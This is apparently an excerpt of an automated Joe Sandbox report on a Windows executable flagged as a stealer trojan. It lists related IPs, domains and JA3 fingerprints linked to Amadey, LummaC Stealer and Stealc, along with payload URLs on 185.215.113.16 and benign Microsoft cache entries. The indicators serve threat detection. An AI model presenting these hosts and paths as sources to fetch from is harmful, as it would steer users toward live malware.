239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571930
Start date and time:	2024-12-09 21:18:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/63@11/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.68.206, 172.217.19.163, 23.218.210.69, 172.217.17.46, 64.233.162.84, 2.20.41.214, 2.19.126.144, 2.19.126.137, 172.217.17.74, 172.217.19.202, 142.250.181.138, 172.217.21.42, 142.250.181.74, 216.58.208.234, 172.217.19.234, 172.217.17.42, 142.250.181.42, 142.250.181.106, 13.74.129.1, 20.189.173.5, 204.79.197.237, 13.107.21.237, 2.20.68.201, 172.217.17.35, 172.217.17.78, 13.107.246.63, 20.12.23.50, 23.218.208.109
Excluded domains from analysis (whitelisted): onedscolprdwus04.westus.cloudapp.azure.com, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:19:19	API Interceptor	38x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	BE75UCHY3H.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	13.107.246.63
	l6SLjhPkk5.exe	Get hash	malicious	Amadey	Browse	13.107.246.63
	W7ZBbzV7A5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.139.78
	GLAMPITECT++LTD+(PROPOSAL).eml	Get hash	malicious	unknown	Browse	104.16.144.15
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.7
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://quiet-sun-5d9f.atmos4.workers.dev/login	Get hash	malicious	Unknown	Browse	104.21.50.75
	attachDocx.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.48.1
	W7ZBbzV7A5.exe	Get hash	malicious	Unknown	Browse	104.21.48.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 4897
Category:	downloaded
Size (bytes):	1218
Entropy (8bit):	7.818982773842986
Encrypted:	false
SSDEEP:	24:Xrs7WmqfbZ4Z7aXtpaHTDHp+NN5L7U3s5HfbfSKpWS5KBpXjz+CdxicnOOWY:XA7W1bZ3t0p+NnT/bKKruZ/+HcLb
MD5:	D77B4EAF68A6602BFAB7B5D45F8BBDA8
SHA1:	D05AC8529A8F13A9A2AB29E042D547D887697917
SHA-256:	AA05572A238F12FBFEAD350AC7FB897659A224C2EB2AD3BE24FD2467B8F45AFC
SHA-512:	9FA4163A196AB4BB9647FBD0E32323B25521E6FBED895AB8496E6CA0E843F837E5E28C4AED0B278C0328F826A819EE6CEF3C3D2A65A94EE0156978848944B174
Malicious:	false
Reputation:	low
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	...........X.n.6...A}i.0r.....4E.$.t..C[..4..H.@R6...{..Y.E.n..G<<gf83....4}..H3...o~.YF.W.3dO4.......$....O.........u.T.O3.I..J.F"..]..c<Fx......N..m..N.~z...O.....S..j....;.L..u..HJyR.....DD.......[..;..PM..E.:@ugQ...S.MIH......n._K....x...e.......P]Hw.V...7.4.py..F..ly-D....&\(."./..%.GA..`./..!.....2...p.T..T ."...?.[...q..&~F.5.@R..3......Zp...9#.K.. +)....7.n.\|..v....I...M..g.....Z..-s.]$G..L..(H!!.a.P.E.Dk.b.9..wOxAh..<...R..Y..#........u.{.\..6"..].f.\|...n.[.\|.4oH{..DAT..X.b..-.!._..jJh......j...y5.;..~e..I5..q6.-......lsZ.....+0.`.\|....X.L.RQ..../.o$..]V..T..=......s&.<......e...J3".!...T...:H..}.9.9p...j/1.7-..A.T3..T.....sR.v.........c..y..{.Wk......m.Kl...P..X..0..rt.3.......X....w.c.+.6..F$./..u.J"+C...%..4....+W?.......x.X..N..:../m.,.9s6....{......M"].N...t8T.-y.H....V..?..z.82;....L..2m%.H%F....p....P........[.s....]!..dT~..y.....pG..u.....a.....9.R.a.j-.5.tW....A6.o!......[Y\mw....tR....W..,.x.-gS3\|.GPi4..8.....P!...n.k..S..

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1154
Category:	downloaded
Size (bytes):	542
Entropy (8bit):	7.525008956073429
Encrypted:	false
SSDEEP:	12:XwtMJQx3erxu1xj/Clwc4oScxNjELRNkZV11NXG0DkIKiiUdquJ:XwtQQx3cu1x+lt/KLUVRQIKdUoc
MD5:	47EA692771B52D1F17940D9029EEE0BA
SHA1:	2492A8F904F39E819E9CDA65A6E0FCF9BA393645
SHA-256:	F4E10ABED0FDCD5163DF4BD8CEB6871825C572C13A5D37FC8AC5D839EE9BA65E
SHA-512:	A6D5E7ACEA30EF4E68519FF914D6A710BE627821BAAFDB53BA0A0AEA63FD180CDE65A0FC42FE96F99E9C0A275DA1AEA2B800377D3E1BA09099651DC65EB309D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	...........T.n.@..#..#s.~.Q.C.!.p..7D..J!..+..S..(..iT3.U../._n.x.....R..a..=..x9....m.C............w......;.....f.G....n7.c...........w....r......m8..m..2I...T./..y^q(.4:`$I..RL..Vb.K...(....S.y.JR.7<7...B\.....$g."...U.U,..1.D...p_A.....)....J.F..j-M.!nb.[..3>../.7.S0M\|...[R}...uG..8..lH...I......D.fUr..(d1..B.Q...%.2.q`/.#&......G.~:...p..cB.J).3f.,e.\|....0....1xU..n....iii....iX.<[g..c.Y..,.'.%.y..0z.s_..IF.q6l.9.....j.*"2...(".\|.A\..I......N.+3.3&.i'....w\|V..j..?..7c..."%K...".F\|....w}....w..........

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 33148
Category:	downloaded
Size (bytes):	7199
Entropy (8bit):	7.9694505339325925
Encrypted:	false
SSDEEP:	192:3kcoGc0bPTV9XcVf0pT7xiPjgXQkT/dPGHHi:oGfTUVUMuQkV
MD5:	5A4374C7913FA382B2036C839C18E30F
SHA1:	98A74928210BBD93BADA1010BF5781A79652E314
SHA-256:	D158BFDDEB9AE715AC3C5C36C1128D1B510AFAF8EE41399EEEC81F7D2B09247B
SHA-512:	36613FB8EDC1B3E2FF8F3EB8323D67D617EDCE569A616B9BCA7EA443BDCD55CC9DBED8F3AAED7CDEE4A73C3BFF81DF7FAF5DF8AD3483AA918FDDA04B4FBE967C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	...........]{s.......r.M...t.;.7N\......P$%qC...q..~..;.... E..t.........C.>..h[......l.hu.......I..........A\..6z..".z..._.Yz....:.....O..Q.5..-R..."[.6Y&.l.$,.....C.W.......+.$...I.AD..C....(}.."".....!Z...W..}T.E.W.8.D...W...8..UVxa.5J.<l.B....g....a.Xzgg.._e.@.C...e..KA6....,...7.(........??D..h...z%Cx./..{(64...8..!......N\|..4......(...\|._.A.:8(5....e...,..e.....S...J.._....X?.D..d.7h.-.<O..z)..15@.../....0.E..I(@C,#=4%h.&9.PaV.....~5.J.....`.k.....1<....M.O.......;..9......8.A..)....p.......e......H.y........h.;.!l.qr.....x......}..0@.....0.7.(}.....(.p........"...Z....a.av...s..E...mQ{..[.3......E+...?.K.q.....x.c{A]V..[....VqRa:.......y.I...%..7....Qgw..K}-l".$.#.......H....QPa.....?y...;.]5..PHB"."4.8A...{..[..;.O..'.=9.D.,...o.D.5..\a.....&.>...]p.P...Y.m.."...I9]..D2..........{...H.......).Sr.%....:.p.RV.......l.&.`$.W$..Hc%...:at{....Nb.."4.P #..YX....A..%.0..Qn. X..`....?.q:.Y...@...dZ%%...Y.I#?..m...`..v.........

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
